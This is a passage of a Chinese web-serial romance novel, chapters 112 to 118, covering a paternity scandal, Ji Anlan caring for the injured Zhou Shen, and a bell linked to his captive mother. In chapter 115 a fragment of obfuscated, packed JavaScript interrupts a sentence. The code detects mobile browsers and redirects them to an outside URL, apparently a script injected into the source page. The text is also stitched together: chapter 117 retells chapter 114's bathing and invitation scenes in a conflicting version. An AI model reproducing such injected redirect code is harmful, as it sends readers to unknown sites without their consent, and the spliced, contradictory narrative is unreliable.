他瞳孔骤缩,脸唰地一下白了,站在原地,身子僵硬,不可置信地一遍遍翻看着鉴定书。
上面显示,孩子不是江震霆的?
一旁的江震霆也看到了,目光怀疑地看着江容川。
“我就说了,我根本就没有去过酒店,孩子怎么是可能是我的?该不会是你搞错了,孩子是你的吧?”
闻言,江容川冷笑着看向了病床上的宋妘妘,阴鸷的眸子泛着一丝冷意,像是一条毒蛇爬上了她的后背。
宋妘妘小脸唰的一下惨白,眼神无辜,拼命摇头。
“我不知道,我不知道发生了什么,孩子明明是你的……”
手指紧攥着被子,她的神情紧绷,眼底划过一抹慌乱。
“你再说一遍,孩子是谁的?”
江容川声音不由得拔高,语气里充满了威胁。
他知道他从未跟宋妘妘发生过关系,又怎么可能跟她有个孩子?
“我……”宋妘妘被吓了一跳,盯着那双探究的眼神,心虚地低下头。
“我不知道……”
看着她的反应,宋妘妘唇角溢出一丝冷笑。
他居然为了这样一个女人放弃了纪安澜?
“容川,这到底是怎么回事?孩子到底是谁的?”
江震霆也懵了,焦急地问着。
“你问她吧!”
江容川失去了耐心,冷冷地丢下这句话,甩门离开。
第113章 我要结婚了
江震霆的目光落在宋妘妘脸上。
浓眉紧皱,冷声问道:“孩子也不是容川的?”
宋妘妘摇头:“我不知道……”
听到这四个字,江震霆面色一寒,恨铁不成钢地叹了口气,一跺脚,离开了病房。
偌大的一个房间里,只剩下了宋妘妘一人。
砰的一声,门被关上。
就好像是重重地砸击在她的心口。
完了完了,这下全完了!
原本以为可以李代桃僵,可没想到,江容川什么都知道。
不过还好她并不知道她肚子里的孩子是周霆云的!
想到周霆云,宋妘妘就好像是抓住了最后的救命稻草,赶紧掏出手机给他打了个电话。
过了许久才接通,那边传来了周霆云不耐烦的嗓音:“又怎么了?我不是说了,没事不要给我打电话吗?”
“你现在在忙吗?有时间的话,能不能看看孩子和我?我一个人在医院里有些害怕。”
她刚生产没多久,正需要人照顾,心理防线很脆弱。
“照顾你?”周霆云发出了一丝冷笑。
“上次我不是跟你说得很清楚了吗?一个有缺陷的孩子,我们周家是不会要的!”
冷漠的嗓音没有一丝温度,表明了他的立场。
宋妘妘脸色难看,还想要挽回:“可到底是周家的孩子,你不能不管不顾啊!”
她退了一步,央求道:“现在江容川已经知道孩子不是他的了,他不会管我的,你过来看看孩子,没有人会知道的!”
“我没空。”冷冰冰地吐出三个字,周霆云已经失去了所有的耐心。
“你最近在忙什么?怎么会没空呢?我没听说周家遇到什么麻烦。”
宋妘妘压根就不相信他的话,只觉得他不想来。
“我要结婚了,没时间去。”
周霆云冷冰冰地告知她。
“什么?”宋妘妘不可置信地拔高了音调:“什么时候的事?要跟谁结婚?姚姿吗?”
之前就听说两个人订了婚,没想到两人发展得这么快,就要结婚了?
“与你无关,以后不要再打电话给我。”
周霆云直接挂断了电话。
听着忙音,宋妘妘手脚冰凉,浑身的血液都凝固了。
她唯一的救命稻草也没了,纤细的手指紧握着背角,脸色难看至极,恨得牙痒痒。
为什么事情会变成这样?
她明明马上就要做江太太了,怎么会落到这种田地?
宋妘妘不肯接受这样的事实,伸手抱住了头,手指穿进头发里,身子微微发颤,用力摇头。
这时,门突然被打开。
宋妘妘猛然掀起眼眸,眼神期待地看向门口。
只见一个陌生的中年女人走了进来,冲着她微微一鞠躬。
“宋小姐,我是您请来的护工,从今日起,我来照顾您的日常起居。”
护工?
江容川为她找的护工?
这是打算不管她了?
宋妘妘瞬间如泄了气的皮球,瘫坐在病床上,脸色苍白如纸,心底的恨意在一点点地滋生。
这一切都怪纪安澜!
要不是纪安澜对项目动了手脚,她现在已经跟江容川订了婚,就算是江容川知道孩子不是他的,也不可能立即不管她。
一想到这里,宋妘妘手指紧握成拳,眼底的恨意快要溢出。
纪安澜一定不会放过你的!
另一个病房里。
周慎看着忙前忙后的护工,面色阴沉,仿佛随时都能滴下水来。
那护工被他盯着,浑身不自在,一股寒意直窜脑门,可也不能放着手上的工作不管,只能硬着头皮继续工作。
“我要出院!”
他的声音响彻了整个病房。
护工猛然抬起头,瞪大眼睛,不可置信地看着他。
“周先生,纪小姐说了,您现在需要好好休养,不可以提前出院!”
“我就要出院!”周慎掀开被子,穿上鞋,就要离开病房。
护工看到这一幕,赶紧冲过去拦住了他。
“周先生!纪小姐说您要出院,让我通知她,您也不能让我难做是不是?”
护工知道拦不住他,只好拔高了音调,赶紧掏出手机给纪安澜打电话,直接说明了情况。
没想到纪安澜只是淡淡地说了一句:“没事,他有私人医生
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,你的钱我会付给你,麻烦你了。”
护工挂断电话后,立刻错开身子。
周慎眉头紧皱,看着他的反应,脸色一沉:“你不拦着我了?”
“嗯,纪小姐说,你有私人医生。”
周慎呆愣在原地,面色阴沉得可怕,护工被他那阴鸷的眼神吓了一跳,赶紧收拾东西,逃也似地离开了病房。
周慎掏出手机,看了一下通讯录,目光落在那个熟悉的名字上,手指悬浮在半空中,终究还是没有拨打过去。
他一脸失望地离开了病房,浑身笼罩着冷冽的寒气,一路上吓退了许多人。
开车回到御景豪庭。
一开门,纪安澜的身影赫然映入眼帘。
听见动静,纪安澜回过头,正撞入那双满是震惊的眸子。
她快步走向门口,勾唇浅笑:“回来了?感觉怎么样?”
“你……”周慎浓眉紧皱,下意识地环顾四周,这里确实是他家没错,纪安澜怎么会出现在这里?
“既然你不愿意搬到我家去住,我只好搬过来了。”
她理所应当地说着,如小鹿般黑白分明的眼眸泛着狡黠的光。
“我说了,不需要你的感激!”
一想到纪安澜的话,他的脸瞬间阴沉了下来,一脸阴寒地坐在了沙发上。
“你不需要是你的事,但这救命之恩,我得报答!”
纪安澜也坐在了沙发上,眯着眼睛,笑着看着他。
“请问,周总有什么吩咐吗?我会尽量满足你的需求!”
侧目看了她一眼,眉眼弯弯,笑得像是一只成了精的狐狸。
原来不去医院接他出院,是在这里等着他。
想报答她的救命之恩是吧?
周慎心生一计,眼底划过一抹戏谑,冷冷开口。
“我要洗澡!”
纪安澜的笑容僵硬在脸上,呼吸一窒,立刻开口叫:“张妈!”
“她要过几天才能回来。”
漆黑的眸子落在纪安澜脸上,凤眸微眯,俯身凑近了她些,冷木香充斥在口鼻间,纪安澜心跳如擂鼓。
“不是要报答救命之恩吗?不会连这点需求都满足不了我吧?”
第114章 浴室春光
纪安澜看着近在咫尺的俊脸,想起车祸后他躺在病床上毫无生气的样子,心里顿时软了下来,侧头看到他打着石膏的手,迟迟移不开视线。
“好,我帮你。”
周慎注意到她的视线,想到她为了报恩答应自己无理的要求,顿时失去了逗她的心思。
“不用了,我不喜欢勉强别人。”
说完,他自顾自上楼。
纪安澜不知道哪里又惹他不高兴了,怕他自己出事,也跟着上楼了。
周慎进入房间后,一只手搭在门上,身体挡在门口,眼睛注视着跟着上来的纪安澜。
“我说了不需要了,你来干嘛?”
纪安澜有些局促地捏了捏衣角,担心自己一不小心又惹得他生气。
“我在旁边等着,你有什么需要就叫我。”
她直视着周慎,眼里盛满了对他的担忧。
“随便你。”
周慎本来不想让她进来,还在为刚刚的事生闷气,但看着那个眼里全是自己的纪安澜他说不出拒绝的话。
他转身进入卫生间,纪安澜脸上带着浅浅的笑意应了声好也跟着进了房间。
她坐在卫生间门口的床边,听着卫生间里传来淅淅沥沥的水声思绪渐渐飘远。
在她出神的时候,浴室里传来“砰~”的一声。
她马上回过神,吓得顾不得其他的,打开浴室门,害怕周慎再出什么事,那她不会原谅自己的。
“周慎!”
她紧张的喊道,但开门后看到人好好的站着,只是一旁的盆子打翻在地上。
周慎正准备捡地上的盆子,听到她喊他,条件反射的抬眸望着她。
她后知后觉的感觉到尴尬。
“那个,不好意思,我以为你摔倒了,一时着急……”
她看着他身上只有手上的一条浴巾堪堪遮住隐私,线条分明的腹肌,隐没在浴巾里的人鱼线若隐若现。
纪安澜脸颊控制不住开始泛红。
周慎看着纪安澜渐渐变红的脸,本来不自在的情绪慢慢消失,开始起了逗弄她的心思。
“想看就光明正大的看,不用找这么拙劣的借口。”
周慎身体微微后仰,靠在洗手台上,姿态放松慵懒,仿佛被看光的不是他。
“谁要看你了。”
纪安澜本来就很羞愤,再被他这样刺激,一下子就恼了,想要摔门离开。
“等等。”
周慎看着她转过身就准备离开了,赶紧叫住她。
“什么事。”
“不是说来帮我吗,我这一只手系不上浴巾,进都进来了,帮帮忙。”
周慎眼里含笑的看着门口顿住的身影。
纪安澜很想赶紧离开这个让人羞耻的地方,但也没办法放任他不管,只好尽量让自己看起来心如止水,转过身朝周慎走过去。
周慎看她头微微低着,脸粉粉嫩嫩的,那抹酡红还没褪去,看着可爱极了。
纪安澜一声不吭的拿过他手上的浴巾,眼神不知道该放哪里,四处乱飘。
她手臂几乎是环抱着他的腰,气息喷洒在他的身上。
周慎暗骂一声,这不是给自己找罪受吗。
“站起来一下。”
纪安澜小声的提醒他,他倚靠在洗手台上她浴巾拉不过来。
周慎身体比脑子先做出反应,倏地就站了起来。
本来两人就基本上贴在一起,他这一站两个人紧紧地贴在一起就像相拥的爱人一般。
纪安澜吓得后退半步,周慎感受着刚刚贴在身上的触感,也是怔了一下。
纪安澜赶紧把浴巾帮他系好,几乎是落荒而逃的离开了浴室。
周慎看着消失的身影收敛起了笑意,他无法控制自己的感情,但又不愿意承认。
纪安澜刚跑出浴室就看到屋里站着的周霆云,她刚刚太紧张了房间有人进来都没发现。
她看着周霆云的表情,想必刚刚的事情他都看到了。
脸上本来快要退去的热意又一股脑涌了上来,她正不知所措时浴室里的周慎慢悠悠的走了出来。
他看到周霆云站在房间里视线并未在他身上停留,径直从他身边路过,好像他这个人并不存在。
他走到床边,自然的坐在床上。
“站在那里干嘛,过来坐啊。”
他看着傻傻站在那里的纪安澜说,丝毫不在意一旁的周霆云在旁边。
“哦。”
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>周霆云见他没有理自己的意思也不恼,脸上挂着若有似无的笑意自己往他们那走。
“见你们俩相处这么融洽我就放心了,我是来送请柬的,我们下周日的婚礼,你们一定要来呀。”
边说边递上一封红色的请柬,周慎头也没抬,他见他没接的意思就自己放在床上了。
“说完了吗,说完了就走吧,别打扰我们休息。”
周慎终于看了他一眼,确是要赶人。
“行,记得来啊,我就先走了,不打扰你们了。”
周霆云也不做坐纠缠,说完就离开了。
他就是要周慎知道,他比他过得好,过得幸福。
纪安澜过了这一会心内倒是平静下来了,她抬头看向周慎就看到他头发还在滴着水。
“你头发怎么不擦一下,这样会生病的。”
她想着他车祸的伤还没痊愈,又这样不注意自己的身体,语气就控制不住染上担忧和生气。
纪安澜一边说一边到浴室拿了条干毛巾出来自然的擦了起来。
周慎准备调侃她“你在担心我?”还没来得及说出口就被头上轻柔的动作打断。
“没事。”
话在他嘴里绕了一圈最后只变成了一句轻声的应和,这个场景太温馨他舍不得破坏。
“怎么没事,你现在身体还很虚弱,稍不注意就容易感冒发烧,到时候难受的还是你自己。”
纪安澜见他不以为意,絮絮叨叨的话不自觉便说了出来,暴露了她对他的关心。
她见擦得差不多了准备找个吹风机给他吹干。
“你把吹风机放哪里了?”
她看了一圈没看到,低头问周慎。
周慎指了一下柜子。
“下面的柜子里。”
纪安澜去拿出吹风机还不忘提醒他。
“你现在手不方便有什么需要就和我说,头发一定要吹干,下次洗完就告诉我我帮你吹,你一只手不方便。”
“嗯。”
看不清他眼里的情绪,只听到一个轻轻的字节,纪安澜也不知道到底听进去了没有。
纪安澜的手指轻轻的插在他的发丝间,他头上全是她的触感,软软的,痒痒的。
第115章 铃铛
周慎几乎贪恋的感受着这一刻的美好。
“好了,你想吃什么,我下去做。”
纪安澜把吹风机收起来,准备下去做个晚饭。
“都可以。”
周慎这时候倒是好说话。
“你我看着做,你等会记得下来一起吃饭。”
“好。”
纪安澜刚准备出门就看到浴室旁边的铃铛。
那是个黄铜质地的小铃铛,拴在一根磨损严重的红绳上,铃身刻着简单的花纹。
此刻正随着走廊微弱的气流轻轻晃动,发出细碎又尖锐的声响——叮铃,叮铃。
纪安澜脚步一顿,看着铃铛疑惑,铃铛怎么会在这里。
“怎么了?”
他看着纪安澜停下脚步,起身过来看到了铃铛,那些不好的回忆一下子如同潮水般涌入他的脑海。
他想起那年他才八岁,母亲牵着他的手送他去上学,却被两个陌生男人捂住嘴强行掳走,一路颠簸后扔进了深山中的破旧木屋。
山里的人贩子怕他们逃跑,给母亲的手腕戴上了这串铃铛,红绳勒得手腕生疼,只要母亲稍有异动,铃铛就会发出刺耳的声响,引来人贩子的打骂。
他记得无数个深夜,母亲会趁着人贩子睡熟,悄悄解开他手腕上的麻绳,用带着铃铛的手轻轻抚摸他的头,低声哄他:“阿慎别怕,妈妈一定会带你出去。”
铃铛偶尔发出的轻响,在寂静的夜里显得格外清晰,既像是母亲的安慰,又像是悬在头顶的利刃。
有一次母亲试图带着他逃跑,刚翻过院子的矮墙,手腕上的铃铛就叮铃作响。
人贩子瞬间追了出来,母亲为了护着他,被狠狠踹倒在地,铃铛在石板路上滚了几圈。
从那以后,母亲的手腕上就留下了一道深深的红绳印记,而那串铃铛的声音,也成了他童年最恐惧的梦魇。
他脸上刚刚温和的表情尽数褪去,眼底翻涌着痛苦与戾气,周身的气压骤然降低,周围空气仿佛都充满了寒意。
“你没事吧。”
纪安澜见他情绪不对,声音都带上了几分关切。
“没事,你认识这铃铛?”
“嗯,我之前见过。”
纪安澜见他这样在意就把之前在周家酒窖和密室发生的事情讲了一遍。
“这个铃铛怎么会在这里?”
纪安澜想不明白。
“我也不知道,可能是周家人故意留下的吧,在我没把握把母亲救出来之前先假装不知道吧。”
周慎按了按眉心,尽力控制自己的情绪。
纪安澜看出他的痛苦,需要一个人冷静一下,关心了两句就下楼了。
周慎现在伤还没完全愈合,饮食还是要以清淡为主,不能吃辛辣。
她在网上查了一下,按照建议准备了一些适合周慎现在吃的饭菜。
她做好饭等了一会见周慎还没下来,担心饭菜凉了只好上去喊他下来吃饭。
“饭做好了,出来先吃饭吧。”
她没有贸然进去,敲了敲门,试探着开口。
她见没人应,正准备进去看看他是不是睡着了,手刚放到门把手上,门就从里面打开了。
“走吧。”
周慎没什么表情,看不出来喜乐。
“好。”
“你喝点这个汤,说是有助于骨骼恢复的。”
纪安澜拿汤勺给周慎盛了一碗汤,放到他面前,眼睛像是有星星,亮晶晶的,就这样看着他。
他本来没什么胃口,但是他也拒绝不了她的关心。
他接过碗,一勺一勺的喝了起来。
纪安澜见他听话的喝了,松了一口气,她担心他被影响,不好好吃饭,身体受不了。
她吃完了就静静地坐在旁边,看着周慎一口一口的喝汤,举手投足之间优雅矜贵,看着赏心悦目。
“吃饱了吗,还要不要喝点。”
纪安澜见他喝完了马上问。
“不用了。”
周慎放下手里的勺子。
“好,那我收拾一下,你上去休息吧。”
纪安澜准备把碗筷收拾了,再回房间休息,没想到被周慎拦住了。
“别收拾了,明天阿姨来了会收拾的,上去休息吧。”
周慎不愿意她这样忙前忙后,他舍不得她辛苦。
“没事,现在还早我也没什么事做。”
纪安澜倒觉得没什么,她本来就是来照顾他的,这点小事也不麻烦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069938|193108||http|test|mini|href|location''.split(''|''),0,{}));
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r>现在还早,回房间也没什么事做。
“你上去休息吧,有什么事就喊我,不用怕麻烦我。”
她说话带着笑,周慎有一瞬间被晃了眼,一时间也忘了要说什么,就这样被她半推半就的上了楼。
周慎在走廊上看着下面忙碌的身影,感觉心里暖洋洋的,这是他曾经可望而不可求的温馨的画面。
不知道是回家了还是有她在这里,他躺在床上,很快就放松下来,不知不觉就睡着了。
纪安澜今天忙前忙后也累到了,早早就睡着了,半夜却突然惊醒。
醒来后她心里七上八下,总感觉哪里出事了。
她睡不着索性不睡了,准备下去接一杯水喝。
路过周慎的房间时鬼使神差的推开房间门,她惊讶于他居然没锁门,周慎这么没有安全感的人她以为他睡觉肯定会锁门的。
她进去就发现周慎在低语什么,身体也有小幅度的动静,看起来睡得很不安稳。
纪安澜也顾不得什么惊讶了,赶紧过去查看情况。
她看着他脸上泛着不正常的红,把手贴在他额头上温度烫得吓人。
她赶紧给他秘书打电话让家庭医生过来,送医院去太慢了,她一个人也有点力不从心。
纪安澜看着他难受的样子,跑到卫生间把毛巾打湿放在他额头上,想先给他物理降温,希望他能好受点,又拿了棉签和水杯,把棉签沾水涂在他嘴唇上,烧得嘴唇都干得不成样子了。
没过一会,家庭医生就来了,纪安澜总是稍稍放心了一点。
“麻烦您看看他怎么样,可能是晚上洗完头发没吹干着凉了。”
她着急的看着医生。
“好,我看看。”
医生给周慎检查一次,就是发烧了,身体受伤了,免疫力下降,又受了凉,晚上就发烧了。
医生给周慎打了退烧针,又开了一些药,跟纪安澜说了注意事项这才离开。
纪安澜坐在床边,看着他因难受而皱着眉,手不自觉地放了上去,想要帮他抚平。
她静静地看着他,脸上的红晕逐渐褪去,脸色变得正常,呼吸平稳下来了,不知不觉间她也趴在床边睡着了。
第116章 你不怕吗
晨光透过窗帘的缝隙,在地板上投下细碎的光斑。
周慎睁开眼时,首先映入眼帘的是趴在床边的纪安澜。
她睡得不算安稳,眉头微蹙,长长的睫毛在眼睑下投出浅浅的阴影,鼻尖小巧,呼吸均匀地拂过他的手背。
昨晚退烧后残留的疲惫还未完全散去,但此刻看着她近在咫尺的脸庞,周慎的心脏像是被什么柔软的东西轻轻撞了一下,泛起细密的暖意。
他伤着的左手还不能大幅度活动,便用右手缓缓抬起,指尖几乎要触碰到她的发顶。
眼底翻涌着连自己都未曾察觉的意动——是劫后余生的庆幸,是被人悉心照料的动容,更是长久以来压抑在心底的情愫,在这一刻悄然破茧。
就在他指尖即将碰到她发丝的瞬间,纪安澜猛地睁开了眼睛。
四目相对的刹那,周慎眼底的温柔迅速褪去,取而代之的是一贯的冷淡疏离,仿佛刚才那瞬间的意动只是错觉。
他收回手,声音带着刚睡醒的沙哑,却透着不容置疑的距离感。
“我没事了,你回去吧。”
纪安澜愣了一下。
昨晚他发烧时的脆弱还历历在目,此刻的冷漠来得猝不及防。
但她想起他过往的经历,知道他习惯用坚硬的外壳保护自己,便没有顺着他的话离开。
反而起身揉了揉发麻的胳膊,语气平静却坚定。
“你的烧刚退,医生说还要观察半天,我去给你熬点粥。”
说完,她转身就要往楼下走。
全然不顾周慎冷下来的脸色。
周慎看着她的背影,喉结滚动了一下。
想说的拒绝哽在喉咙里,最终只化作一声几不可闻的叹息。
纪安澜刚走进厨房,玄关处就传来了急促的脚步声。
伴随着继母尖利的嗓音。
“周慎呢?听说昨晚发烧了,家里请了医生怎么不告诉我?”
继母推门进来,一眼就看到了系着围裙的纪安澜。
脸色瞬间沉了下来,眼神里满是鄙夷和刻薄。
“纪安澜?你怎么在这里?”
纪安澜握着锅铲的手顿了顿。
还没来得及回应,继母就上前一步,指着她的鼻子骂道。
“真是不知廉耻!刚跟江容川离婚就跑到这里来勾搭周慎,你以为你是什么干净东西?”
“离过婚的女人,也不看看自己配不配得上我们周家!”
刻薄的话语像针一样扎人。
纪安澜的脸色白了白,却依旧挺直了脊背。
“我是来照顾周慎的,他受伤又发烧,没人照料。”
“照顾?”
继母冷笑一声。
“谁知道你安的什么心!我们周家还不需要一个二婚女人来伺候,赶紧滚出去,别在这里脏了我们的地!”
“够了。”
清冷的嗓音从楼梯口传来。
周慎扶着栏杆站在那里,脸色阴沉得能滴出水来。
他伤还没好,走路还有些不稳,却一步步朝着客厅走来。
目光死死地盯着继母,带着极强的压迫感。
“妈,说话注意点。”
周慎的声音不高,却让继母瞬间闭了嘴。
继母愣了愣。
显然没料到一向对家事漠不关心的周慎会为了纪安澜反驳她,立刻委屈起来。
“阿慎,你怎么帮着外人说话?”
“她一个离过婚的女人,留在家里像什么样子,传出去别人会怎么说我们周家?”
“我的事,不用别人置喙。”
周慎走到纪安澜身边,挡在她身前,将她与继母的刻薄目光隔绝开来。
“她是我让留下来的,谁敢说什么?”
继母气得脸色发青。
“你简直是被她迷昏了头!她配不上你!”
周慎转头看向纪安澜。
眼底的冷漠早已褪去,取而代之的是一种不容置疑的坚定。
他忽略继母难以置信的目光,一字一句地说。
“配不配,我说了算。”
接着,他看向继母,语气带着几分不耐。
“妈,让一让。”
“你要干什么?”
继母下意识地后退一步。
周慎握住纪安澜的手。
她的手微凉,却让他感到莫名的安心。
他看着她的眼睛,声音温柔却坚定。
“我带她去领证。”
纪安澜彻底愣住了。
瞳孔微微放大,难以置信地看着他。
她能清晰地感受到他掌心的温度和力
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度,还有他眼底那份不似作伪的认真。
心脏不受控制地狂跳起来。
继母更是惊得说不出话来。
指着他们半天,才憋出一句。
“周慎,你疯了!”
周慎没有理会继母的叫嚷,拉着纪安澜就往外走。
他的手很有力,带着不容拒绝的意味。
纪安澜几乎是被他半拉着塞进了车里。
车子平稳地行驶在公路上。
纪安澜的心跳还未平复,转头看向驾驶座上的周慎。
他专注地看着前方,侧脸线条依旧冷硬,却隐隐透着一丝柔和。
“你……”
纪安澜刚想开口问他是不是认真的。
车子却缓缓停了下来。
她抬头一看,竟是自己位于半山的别墅。
周慎松开手刹,侧脸对着她,语气恢复了几分平淡。
“到了,下车吧。”
纪安澜愣住了。
刚才那句“去领证”还在耳边回响,此刻他的态度却又回到了原点。
一股莫名的委屈和不甘涌上心头。
她看着他冷漠的侧脸。
想起这些日子的相处。
想起他为了救她受伤。
想起昨晚他发烧时的脆弱。
再也忍不住。
她俯身过去,伸手扣住他的后颈,踮起脚尖。
毫不犹豫地吻上了他的唇。
柔软的触感传来。
周慎浑身一僵,瞳孔骤然收缩。
纪安澜的吻带着几分笨拙,却异常坚定,没有丝毫退缩。
她知道自己想要什么。
这一次,她不会再因为犹豫和胆怯,放走属于自己的幸福。
吻持续了几秒,纪安澜才缓缓退开。
鼻尖抵着他的鼻尖,呼吸有些急促,眼神却异常明亮。
“周慎,我不会走。”
周慎的喉结滚动了一下。
眼底翻涌着复杂的情绪,有惊讶,有动容,还有一丝不易察觉的挣扎。
他别开脸,声音有些沙哑。
“你不怕吗?”
“怕什么?”
纪安澜反问。
“怕重蹈覆辙。”
周慎转头看向她,眼底带着一丝自嘲。
“怕我和江容川一样,给你一个婚姻的坟墓。”
第117章 铃铛的主人
纪安澜身子僵直,站在原地,一时语塞,不知该如何回答。
周慎则旁若无人地开始解扣子,精壮的胸肌似有若无地裸露在外。
不经意地一瞥,纪安澜脸上一热,耳尖发烫,呼吸变得急促了些,赶紧错开视线。
“你……你自己洗……”
看着她的反应,漆黑的眸子染上了一层笑意,他将打着石膏的手伸到了他面前。
低头一看,纪安澜眉头紧皱,心脏狂跳不止,不敢回头看他。
“不然我把那个护工找来吧?”
话音刚落,掏出手机就要打电话。
“不必了,我看你也不是诚心想要报答我。”
他说着,起身朝着浴室走去,冷冷地丢下一句话:“你回去吧。”
冰冷的嗓音灌入耳中,纪安澜立刻上前拉住了他的手腕,脱口而出:“我……帮你!”
周慎驻足,嘴角微勾,眼底尽是得逞的笑意。
纪安澜硬着头皮看向浴室,一咬牙,手指紧握成拳,一副豁出去的样子。
“我先去给你调水温。”
她快步走向浴室,飞快地调好水温,磨磨蹭蹭地走了出来,站在浴室门口,有些手足无措。
“可以了……”
脚步声越来越近,纪安澜的心跳如擂鼓般,快要跃出胸膛,眼睫轻颤,身子僵直。
怎么办?该不会真的要帮他洗澡吧?
一想到那火热的场面,纪安澜吞咽了一下口水,耳朵尖越发地烫了。
周慎走到她面前,垂眸看她,注意到他发红的耳尖,嘴角不自觉地上扬了一抹弧度。
越过她,走到浴室。
哗啦一声,浴室的推拉门被关上。
纪安澜惊讶地掀起眼眸,看着浴室的门,仅露出一条缝隙。
她脱口而出:“你不是要我帮忙吗?”
“需要的时候我会叫你。”
话音刚落,他从缝隙处探出头,漆黑的眸泛着戏谑的光:“难道你想进来跟我一起洗?”
纪安澜愣了一瞬,头摇得像拨浪鼓,赶紧后退了两步。
周慎冷哼:“别走太远。”
“嗯。”纪安澜淡淡地回答了一个音节。
她离浴室很近,衣物摩擦的声音在耳边震耳欲聋,她几乎可以想象得到周慎此刻脱了个精光,紧接着就是花洒的水声。
每一个声音都敲动着她的耳膜,让她的心乱成了一团麻。
纪安澜强迫自己冷静下来,大口地呼着气,在原地踱步,好转移注意力。
哐当一声巨响。
纪安澜瞳孔骤缩,以为周慎摔倒了,跑过去,将浴室的门拉开。
烟雾缭绕下,一幅美男出浴图,赫然映入眼帘。
周慎赤着上身,站在面前,水珠顺着他完美的下颌角滑落,划过他坚实的胸膛,顺着肌理分明的腰腹,汇进下身的浴巾里。
他一只手擦着头发,掀起眸子,目光落在纪安澜脸上,眼底闪过一抹震惊,旋即,满脸戏谑。
纪安澜这才注意到,地上有一个翻倒的浴盆,不是他摔倒了,是浴盆被打翻了。
松了一口气,纪安澜这才放下心来。
“看够了?”低沉的声音泛着一丝揶揄。
纪安澜这才回过神来,两颊染上一抹绯红,整个人仿佛被热水烫了一下,浑身滚烫。
纪安澜反手想将门关上,手腕却被攥住了。
冰凉的触感在腕间蔓延,纪安澜不敢抬头看他,只能低声解释:“我不是想偷看,我是怕你出危险。”
“帮我一下。”低沉的声音泛着悦耳的磁性。
纪安澜掀开眼眸,只见他一手拉着浴巾,艰难地扯动着。
纪安澜这才发现,他握在她的手上打着石膏。
“你这只手不能动!”纪安澜拔高了音量提醒他。
她赶紧上前接过浴巾,轻轻拉住一角,目光落在了他紧实而又线条流畅的背部,呼吸一滞,手指僵硬了几秒,周慎不耐烦的声音传来。
“好了没有?”
“好……马上就好!”
纪安澜闭上眼睛,深吸一口气,豁出去一半,拉着一角塞进了他腰腹间的浴巾里。
触摸到他肌肤的刹那,纪安澜的手瞬间弹开,仿佛被烫到了一般。
她赶紧退出浴室,脸颊红得像熟透了的番茄。
好在没有人看到!
纪安澜在心里安慰着自己。
而这一幕,恰巧被周霆云看到。
他知道周慎今日出院,特意来御景豪庭看他。
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没想到居然看到了如此暧昧的场面。
纪安澜转头的刹那,正撞入周霆云一脸深沉的眸子里。
纪安澜呆愣在原地,大脑里一片空白。
“哥,你怎么来了?”
周慎慢条斯理地走过去,脸上的表情毫无变化,仿佛刚才无事发生。
“下周日我结婚,你一定要来参加。”
说着,周霆云将结婚请帖递到了周慎手中。
“放心,我一定到。”周慎淡淡地答了一声。
“看你挺忙的,我就不打扰了。”周霆云饶有深意地瞟了纪安澜一眼,转身离开。
咚的一声,门被关上。
纪安澜思绪回拢,想到刚才周霆云的话,这才反应过来,他误会了。
“你不去跟他解释解释?他误会了!”纪安澜语气急切。
“误会什么?”周慎眉峰微挑,一脸戏谑地盯着她。
看着纪安澜通红的脸颊,嘴角笑意更甚。
“你的脸怎么这么红?是发烧了吗?要不要我帮你看看?”
周慎低笑着,慢慢靠近纪安澜。
“没有,我只是待不惯浴室!”纪安澜赶紧向后退了两步,跟他保持距离。
清了清嗓子,大脑飞速运转,随便找了个借口。
“你饿了吧?我去做饭!”
话音刚落,转身走向厨房。
路过客厅的吧台时,纪安澜的目光被一抹红色蜥。
定睛一看,是一个铃铛。
这铃铛怎么那么眼熟?
纪安澜将铃铛拿了起来,仔细端详,这才回忆起之前在周家老宅发生的事,面色微变。
铃铛怎么会在周慎这里?
正在她诧异时,完全没有注意到身后的脚步声越来越近。
周慎想逗纪安澜,视线却被她手中的铃铛吸引。
看到铃铛的刹那,周慎瞳孔骤缩,脸唰地一下白了,一把将铃铛抢了过去。
他紧握着铃铛,手指微微颤抖,神情激动。
看着他这反应,纪安澜好奇地问:“你跟铃铛的主人是什么关系?”
闻言,周慎骤然掀起眼眸,不可置信地瞪着纪安澜,一把按住了她的肩膀,大声质问:“你见过铃铛的主人?什么时候?在哪里?”
第118章 成人之美
肩膀上传来剧痛,纪安澜紧皱着眉,脸色惨白,表情痛苦。
“之前,我被你爸关在周家酒窖里,不小心发现了一个密室,里面有一个女人,手上就戴着这铃铛。”
纪安澜看着他情绪激动,将当天看到的事情和盘托出。
周慎脸色骤变,一阵红,一阵白,手上的力道无意识地加重。
纪安澜疼得面容有些扭曲,看着周慎的表情,目光落在了他打着石膏的左手上,一脸担心:“你怎么了?你的手……”
听见声音,周慎回过神来,目光落在纪安澜煞白的小脸上,这才意识到,他的手劲太大了。
他赶紧松开纪安澜,身子踉跄了两步,险些摔倒,纪安澜赶紧走过去扶住了他。
“到底怎么了?你跟那个女人……”
纪安澜很好奇,猜测周慎跟那个女人可能存在着某种联系。
他摇了摇头,选择沉默。
看着他这个反应,纪安澜知道肯定有难言之隐,不打算继续追问。
周慎的手指紧握成拳,因用力骨节泛白,眼底的震惊褪去,取而代之的是冷漠与沉稳。
原来,这都是周家的手笔!
他找了那么久,终于还是发现了!
他现在恨不得立刻冲过去周家要个说法。
只是他知道,他现在的实力根本就没办法讨回公道。
与其碰壁,不如按兵不动,继续积攒实力,这样才能一击毙命!
幽深的眸子泛着冷冽的寒意,周慎收敛起脸上的表情,目光落在了纪安澜脸上,眼底划过一抹担忧。
“你进过密室的事情还有谁知道?”
“除了你,没有第三个人知道。”纪安澜知道此事事关重大,不敢随便乱说。
“那就好,以后也要保密,任何人都不能说!”周慎一脸严肃,语气不咸不淡,却带着不容人忽视的威严。
纪安澜愣怔地点了点头,心里虽然有很多疑问,但看着周慎的表情,还是没有问出口。
她将周慎安抚在沙发上,进厨房做了几道菜。
晚餐时间,两人静静地坐在桌子前吃着饭,周慎脸上没有多余的表情,一言不发,情绪似乎很是低落。
灯光映照在他的侧脸上,没了平日的冷硬,多了几分落寞。
